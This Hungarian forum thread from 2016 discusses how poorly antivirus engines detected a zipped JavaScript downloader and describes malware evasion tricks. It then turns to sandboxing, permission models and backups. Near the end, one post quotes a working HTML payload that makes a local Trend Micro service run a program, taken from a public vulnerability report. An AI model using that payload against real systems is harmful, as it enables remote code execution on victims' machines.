NapiMalware - avagy mennyire hatékonyak a vírusírtók

Legutóbbi "Szerinted kell Windowsra virusirtó?" szavazás és újra fellángolt "Vírusírtó: belső céges hálózat" fórumbejegyzés apropóján leteszteltem a ma érkezett malwaret a virustotal által elérhető 58 különböző antivirus termékkel. Az AV motorok között megtalálható az összes népszerű - és itt a hupon is ajánlott - víruskergető, az Avasttól a Kasperskyn át a Symantecig.

Naponta jönnek emailben "vírusok" és még maga a Google sem képes hatékonyan kíszűrni őket. A Gmail sok esetben blokkolja a letöltését az olyan csatolmányoknak, amelyek felismerhető kártevőt tartalmaznak, de akár csak ártatlan .exe állományok és jelszavas archívumok fogadását is, próbálva meggátolni ezzel az ismeretlen kártékony programok terjedését és sokszor a hétköznapi munka elvégzését is.

Egy újra elővett módszer azonban az, hogy .zip csomagolt javascriptet terjesztenek, amelyik lokálisan indítva képes egy távoli szerverről futtatható állományt letölteni és elindítani. Ezt a módszert jelenleg a Google sem blokkolja:

Az áldozatok szépen letölthetik az archívumokat és kibontás után gyanútlanul elindíthatják a JS alapú downloadert:

Jól látható, hogy a javascript obfuszkálva van random változónevekkel, de ezúttal nincs is annyira túlbonyolítva, mint korábbi hasonló kódok esetén. A Virustotal eredménye mindenesetre azt hozta, hogy mindössze három Antivirus termék vélte veszélyesnek:

Természetesen a Javascript kódban található hivatkozásról letöltöttem a futtatható állományt is, amely ránézésre is erősen titkosító EXE Packert használ. A Virustotal által elérhető 58 antivirus termék közül ebben az esetben is mindössze három jelzett veszélyt:

A Virustotal egyébként jelzi, ha az adott mintát korábban már feltöltötték tesztelésre. Ebben az esetben nem jelzett, a minta új volt a Virustotal számára is, amelyen nincs semmi meglepő. A Virustotal egyrészről csak simán SHA256 hash alapján azonosítja a mintákat, így elegendő egyetlen bitet megváltoztatni (vagy hozzáírni ;) a fájlokhoz és máris új mintának fogja gondolni. Másrészről a malware készítők már évek óta saját fordító, linkelő és EXE csomagolókat használnak. Egy ilyen vírusterjesztő kampány esetén képesek minden egyes letöltő számára akár teljesen eltérő, egyedi binárist generálni automatikusan.

Senki se gondolja naívan azt, hogy a jelenlegi három (vagy öt, nézőpont szerint) antivirus termék választása jelentheti a megoldást. Másik minta esetén másik víruskergetők jeleznének be, vagy azok sem. A malware fejlesztők is cost-benefit alapján dolgoznak és amikor azt látják, hogy már csak néha és csupán néhány ismeretlen antivirus képes felismerni a kódjaikat, akkor az számukra már bőségesen megfelelő eredmény, hisz több millió áldozat közül csupán néhánynál fognak fennakadni a kártevőik a szűrőn...

( BaT | 2016. 03. 28., h – 21:53 )

Vajon van különbség aközött, hogy egy nem futtatott, és egy futó malwaret elemez egy AV? Mert még azt tudom elképzelni, hogy ha a virustotal meg is futtatná a malwaret, akkor annak viselkedése alapján több AV is megfoghatná azt (pl.az Avastról tudom, hogy ismeretlen binárisokat képes virtualizált sandboxban futtatni).

Nyilván van különbség és a Virustotal nem futtatja, hanem csak simán scanneli az állományokat az AV motorokkal, de ne legyen nagy bizodalmad ettől még a víruskergetőkben. Az van ugyanis, hogy egy AV motor nem analizálhatja túl sokáig az aktuális állományt, hisz a felhasználók megbolondulnának, hogy miért kell ennyit várni a kattintás után. Ezért csak minimális időablak - maximum néhány századmásodperc - jut arra, hogy emulátorban végrehajtva eldöntése az antivirus, hogy kártékony kóddal van-e dolga. A malware fejlesztők pedig nyilván rájátszanak erre. Egyrészt a mai kódok többszörösen csomagolva és titkosítva vannak, valamint olyan "delay" ciklusok vannak benne, amely miatt az AV motorok garantáltan kifutnak az időből és ezért ártalmatlannak tekintik a malware kódokat, hisz csinálnak valamit (mindenféle felesleges dolgot, vagy csak simán várakoznak), de a heurisztika szerint semmi gyanúsat...

Ráadásul ahogy írtam, már évek óta használnak egyedi fordítókat és linkert, amelyekkel a legegyszerűbb utasításokat is bármilyen hosszban és bonyolultságban képesek végrehajtani. Míg a hagyományos compilerek és linkerek abban érdekeltek, hogy minél optimálisabb kódokra fordítsanak, addig a malware fejlesztők épp az ellenkezőjében érdekeltek. Olyan saját megoldásokat használnak, amelyek minden egyes utasítást a lehető legjobban elbonyolítanak és a lehető legtöbbféle módon valósítsanak meg, binárisról binárisra. Így érve el azt, hogy két minta szinte teljesen különbözzön egymástól és a valódi működését rendkívül nehéz legyen visszafejteni.

( log69 | 2016. 03. 28., h – 22:35 )

A JS kód hogy kerül futtatásra? El tud indulni automatikusan valahogy? Például a ZIP kicsomagoló helyi sebezhetőségét kihasználva ha van ilyen?

miért?!?!?!?!?!??!?!?!?!?!?!

Szerk: Meggondoltam magam.

Ennyi erővel megkérdőjelezhetném a py fájlok futtatását, vagy a bat-ot. A probléma az, hogy miért nincsenek ugyanúgy kezeleve, mint az exe-k?

Megint meggondoltam magam. Milyen jó lenne már ha nem léteznének futtatható fájlok. Ha az alkalmazásokat csak hitelesített szoftverközpontból lehetne telepíteni, és minden alkalmazásnak csak a saját kis privát tárhelyéhez volna joga, és esetleg még pluszban ahhoz, amihez az user ad hozzáférést. Hasonlóan mint a telefonokon :)

Sok helyen hibás az elképzelésed, illetve most is megoldott / megoldható. A gond nem ezzel van, hanem a szoftverek felhasználási módjának széles igénykörével, melynél olyan nagy a kombinációk száma, hogy nem lehet / nem hatékony manuálisan engedélyezni mindig minden processznek minden cégnél minden felhasználónak minden egyes hozzáférést az erőforrásokhoz.

A hatékony megoldás egy általános dolog lenne, de az általánosság sok buktatót rejt. Majd az AI megoldja.

Az a helyzet, hogy ez valójában nem az én elképzelésem. Ahogy te is írtad, már megoldott, lásd mobil oprendszerek. Az én elképzelésem csupán annyi, hogy ez működhetne (talán kicsit szigorúbban) desktopon is, talán egy kicsikét jobban átgondolva, finomítva.

"minden cégnél"

Miért gondolkozol cégekben? Én általánosságban gondolkodtam, akármelyik számítógépre. És nem mindenféle adminisztrátori policy-kben gondolkodom, hanem egy olyan oprerációs rendszerben, ami csak ahhoz ad egy alkalmazásnak hozzáférést, amihez annak tényleg szüksége van, és amit az user megenged.

"nem lehet / nem hatékony"

Miért gondolod, hogy nem hatékony? Olyan hatékonynak és egyszerűnek tűnik az, ha egy programnak szüksége van egy fájlra, azt rendszer ui-n keresztül adod oda neki, minden mást meg mókolhat a saját független mappájában. Vagy ugyanez akármelyik hardverre. Miért kellene akármelyik folyamatnak tudnia hozzáférni a kamerámhoz, mikrofonomhoz, vagy a home mappámhoz kérdés nélkül? Miért tud akármelyik program a tudtom nélkül hozzáférni a képernyő tartalmához, a futó programjaimhoz, az internethez, stb...

Ami van most, miszerint egy program lényegében bármit meg tud csinálni a gépeden, rossz.

Ha az UWP-s alkalmazásnak nincs joga bárhova írni/olvasni a merevlemezen, akkor teljesen mindegy, mi jön az internetről.

Se az e-mail kliens nem írhat/olvashat bárhonnan, (mondjuk nem törölhet fájlt, s nem írhat felül meglévőt; olvasni csak megadott UWP-s modulon keresztül, ahol szűrve vannak a dolgok), se a böngésző.

Valamiért Androidon/iOS-en nem olvashatunk ennyi ilyen vacakról, pedig a normális jogosultság-kezelés ott is csak fél éves (s kb. alig mérhető elterjedtségű a 6-os Android). Pedig az Android eléggé elterjedt, van rajta szenzitív adat is bőven. Az iOS-t használók pedig anyagilag állnak olyan szinten, hogy bőven megérné oda is lőni.
--
blogom

Attól még hogy vannak korlátozások, maradnak a helyi sebezhetőségek szerintem, amit a lekorlátozott app kihasználhat - lásd a nemrégi (1 éves??) android-os videó dekódoló stack sebezhetősége - vagy mi volt. Talán egy annál még jobban elszeparáltabb megoldás kellene. zrubi szokott írni a Qubes OS-ről itt. Kíváncsi lennék, hogy expertek szerint az milyen security szempontból.

"Attól még hogy vannak korlátozások, maradnak a helyi sebezhetőségek"

Maradnak, persze. Egy korlátozó rendszer elsődlegesen az user hülyeségei ellen hivatott védeni magát az usert. Lefogadom, hogy az átlag felhasználókat ez a veszély legalább annyira fenyegeti, mint egy exploit kihasználhatósága.

De teszem azt, hogy egy hiba miatt a chrome sandboxából kitörhet egy weboldal. Mennyivel másabb a helyzet, ha hiába tör ki, csak ahhoz férhet hozzá, amihez maga a chrome folyamat, és nem az egész rendszerhez.

Amit mondani akarok az az, hogy ha egy fokkal növeljük a biztonságot, nem teljesen, az is valami, és nem elvetendő csak mert nem minden ellen véd.

"..Mennyivel másabb a helyzet, ha hiába tör ki, csak ahhoz férhet hozzá, amihez maga a chrome folyamat, és nem az egész rendszerhez."

Pont hogy egy sebezhetőség révén tovább tud menni, hiába a korlátozás.

Az utolsó bekezdéseddel egyetértek. A plusz kevés biztonsági korlát is jobb mint a semmi. Arra reagáltam csupán, hogy ne _gondoljuk_ tutinak - nem arra, hogy ne alkalmazzuk.

"ne _gondoljuk_ tutinak"

Nos, más nevében nem tudok nyilatkozni, én nem gondolom annak :) Nyilvánvaló hogy egy sebezhetőséggel el lehet jutni root szintig is akár. Persze ez meg sebezhetősége válogatja.

Amúgy egyre inkább hiszek abban, hogy valakinek nem ártana összegyúrni egy ilyen OS-t. Csak kinek van esélye végigvinni egy ilyet úgy, hogy egyszerre meggyőzze az usereket, hogy használják, és fogadják el a limitációkat, a platformra fejlesztőket, hogy fejlesszenek rá, és a vendorokat, hogy szállítsák vele a gépeket? A Chrome OS jól indult mondjuk, de senki nem veszi komolyan. Ahogy az Androidot sem, előítéletek miatt.

Android úgy lenne jó, hogy ha használhatnánk olyan módban, hogy egy alkalmazás új erőforrás igényénél rákérdezne, és bele lehetne avatkozni manuálisan. Legalább ez sokat segíthetne, de ugye ez ellen megy nagy játékosok üzleti érdekeinek. Például a Google el is tüntette az eredetileg kódban lévő engedély kezelést (permisson manager néven van rá app ami előhozza bizonyos android verziókon ezt a rejtett gyári funkciót), szóval amíg ilyen vaskos érdeke feszülnek egymásnak, addig nem sok a remény és marad a root-ing, csak ugye az meg nem oldja meg a nagy számú felhasználók problémáját - amelyek közvetett módon mindenkinek probléma továbbra is.

Külön oprendszert nem lehet fejleszteni. Nincs senkinek 1 millió mérnök órája rá. Meglévő technológiákat kellene összerakni / átalakítani.

Nekem a minimális jogok engedélyezése elv tetszik. Ehhez kezdtem fejleszteni egy 1 klikkes, a Debian (és így Ubuntu) vonalon megtalálható Tomoyo MAC framework-höz egy automatikus szabályozó szolgáltatást (tomld), csak a fejlesztők állandóan változtatták a leíró szabályok szintaktikáját és tele lett vele a hócipőm.

Egy ilyet kéne csinálni SELinux-hoz meg AppArmor-hoz - ez utóbbi egyszerűbb és jobban el tudnám képzelni. Gondolkodtam hogy nekiállok ha lesz rá kapacitásom. Így bármi fut, folyamatosan szigorodik amit megtehet és szűkülnek a korlátok - mindezt viselkedés alapján figyelve természetesen. Tehát engedni azt ami mindenképpen kell - és a kirívó erőforrás hozzáféréseket pedig jelezni és manuális beavatkozáshoz adni lehetőséget. Mondjuk ez meg van több AV megoldásban is tudtommal, csak ezen a területen nyilván az automatizált helyes döntés nem egyszerű. De itt is lehetne tanuló algoritmusokat bevetni. Nem kicsi téma. Több év fejlesztést vihetne el mind az infrastrukturális dolgokkal kapcsolatos oldalon (csomagolás, platformok, online begyűjtött adatok elemzése), mind pedig a tanulási algoritmus és a szoftver fejlesztése.

Nemrég volt ötletelés itt arról az egyik általam indított topic-ban, hogy jó lenne egy olyan monitoring megoldás, mely a háttérben fut és figyeli a nem szokványos történéseket. Pl. megnövekvő hálózati terhelés egy adott host-ról, vagy adott process megnövekvő diszk terhelése vagy nem szokványos fájl hozzáférések stb. Ez sem lenne rossz.

Pár napig próbáltam a Qubes-t.Nagyon frappánsan ki van találva a szeparáció.Szerintem egy átlag ember könnyebben felfogná,hogy netezni és e-mailezni a "sárga ablakkal" próbáljál.A fájl műveleteidet a kék ablakból csináld,stb.....Kár, hogy a jelenlegi gépem nem teljesen kompatibilis az alkalmazott technológiával,de így részlegesen is könnyen átlátható volt a koncepció lényege.Mondom ezt úgy, mint érdeklődő linux felhasználó.

Én is ránéztem amikor hír volt itt HUP-on, szimpatikus nagyon, de maga a koncepció nem tetszik. A virtualizáció miatt extra rétegek, ráadásul olyan alkalmazásokat próbál futtatni, amik nem erre lettek kitalálva egy olyan rendszeren ami szintén.

Ha az adott szeparált környezetedhez hozzá van adva a fájlkezelőd,akkor normál módon betallózod.Ha nincs,nem éri el a Dolphin-t.Több előre beállított "környezet" van a rendszeren,de lehetőséged van további szeparációk kialakítására is.
Ki kell próbálni és egyértelműbbé válik a "sárga ablak"-"kék ablak" stb.. elnevezés.

( uid_395 v | 2016. 03. 28., h – 23:03 )

btw nálam a spamszurok alapból blokkolják a .js* -ot ( ha zip-be van ha nem )

A "fura" az hogy most elkezdődött a .zip.doc* futam.

Erre még nem sikerült megoldást találni :(
ps. Mert igen, sajnos van olyan hogy "hivatalos" anyag jön .zip.doc-ba .. :(:/

( Elbandi v | 2016. 03. 29., k – 11:59 )

Kerdes:
- mennyire hatekonyak a viruskergetok a regebbi variansokkal szemben? (pl a locky v2016-02-28-tal)
- mennyi a neten keringo az uj virus verziok / regi virus verziok aranya? (mindig csak a legfrisebb verzio kering a neten, vagy regebbi valtozatok is)

--
A vegtelen ciklus is vegeter egyszer, csak kelloen eros hardver kell hozza!

Csomó windowsos backup megoldás pedig úgy működik, hogy egy hálózati megosztásra másolja fel a cuccot. :)
Igazából -számomra- eggy működő windowsos rsync alapú megoldás lenne az üdvözítő, jelenleg a Cobian -nal vagyok kompromisszumba FTP -re másolt backupset-ekkel.

Na a hozzászólásom amúgy azért született, mert elképesztően sok helyen látom azt, hogy a backup abból áll, hogy egy megosztott mappába dolgozik a windows backup vagy valamilyen 3rd party megoldás. Jó esetben.

Akkor, ha észreveszed hogy adott mappát letitkosított és nem mented felül az előző mentést. Ha nem a gyökértől kezdve fog titkosítani mindent, hanem csak néhányat véletlen módon bárhol bármelyik almappában, akkor szívás, mert rátolhatod a régi backup-ra az újat. Nem mindenhol van kapacitás több TB adat éveken keresztüli növekményes mentéséhez. Főleg nem otthon.

A kérdés nem az hogy mit használsz backup megoldásnak, hanem ha nem veszel észre adat vesztést és felül írod a régi mentésedet (abban egyetértünk szerintem hogy végtelen tárhely senkinek sincs). Ez nem egyszerű feladat szerintem. Én például az rsync kimenetet nézem át rendszeresen, mappákra szűrve.

( log69 | 2016. 03. 29., k – 17:14 )

Azon gondolkodtam, hogy ahogy volt hír a svájci mikrokernelről, amely kódjának hibamentességét 2 éven át bizonyították - vajon nem érné meg az iparnak létrehozni olyan szoftveres építőköveket, melyek nem változnak gyorsan a trendekkel, nagy mértékben használtak, előre is lehetne tervezni velük - és megpróbálnák bizonyítani a kód helyességét?

Lehetetlen feladat? Vajon lehetetlen lenne meghatározni és kiválasztani ezen építőköveket? Vagy egyáltalán előre tervezni vele? Nem lehetne külön lib-eket kiadni egyetemeknek a bizonyításhoz? Muszáj minden szoftvert folyamatosan görgetni és új feature-ökkel ellátni? Az építőköveknél nem kellene hogy legyen ilyen motiváció szerintem. A for profit cégeknél értem, de talán nagy részét le lehetne fedni így az iparban használt szoftverek hibáinak.

( doc | 2016. 03. 29., k – 21:58 )

tedd fel vhova azt az attachmentet plz, ranezek itt nalunk :)

( toMpEr | 2016. 03. 31., cs – 00:10 )

valószínű releváns: https://bugs.chromium.org/p/project-zero/issues/detail?id=773

A Trend Micro Antivirussal együtt telepítettél egy távoli kódfuttatásra alkalmas security hole-t is, ami ezzel a html kóddal bármelyik weboldal számára kihasznállható: 

<img src="http://localhost:40000/json/new/?javascript:require('child_process').spawnSync('calc.exe')"/>

További apróságok az utóbbi pár hónapból:
- Comodo: Comodo Internet Security installs and starts a VNC server by default
- Comodo: Comodo "Chromodo" Browser disables same origin policy, Effectively turning off web security
- Avast Remote FileSystem Access if Avastium (Avast fork of Chromium) is installed
- TrendMicro node.js HTTP server listening on localhost can execute commands
- ESET NOD32 antivirus installer allows remote code execution with escalation of privilege
- Comodo: Comodo Antivirus Forwards Emulated API calls to the Real API during scans

KÉP

Hiába, mindenképp érdemes ezeket a remek vírusirtókat használni, mert olyan biztonságossá teszik a rendszereket... ;)

Tavis Ormandy lassan már mindegyik antivirus termékben talált távolról kihasználható sebezhetőséget. Kaspersky, Sophos, ESET NOD32, mindegyik remek választás, ha növelni akarja az ember a támadási felületét.

Sajnos ezek közül szerintem a legkritikusabb pont a malware szűrő, x86 emulátort érintő hibák: Mivel a vírusirtó minden emailben kapott, vagy internetről letöltött (vagy akár a browser cachebe bekerülő) fájlt ebben automatikusan lefuttat, így ha ebben hiba van (már pedig úgy tűnik van), akkor a program elindítása nélkül megfertőzheti a gépet.

Ilyen van? Csak mert eddig akárhány gép volt a kezem közül, ami "vírusos", tele volt mind mindenféle gyanús malware-vel, nem vírusokkal, amit ezek a vírusirtók nem találtak meg (köztük a comodo sem).

Eközben kifejezett malware kereső progik (amik feltételezem nem trükköznek, csak simán ismert mintákat, fájlneveket keresnek, jóó lassan) legalább lepucoltak mindent. Nos, vélhetőleg mindent.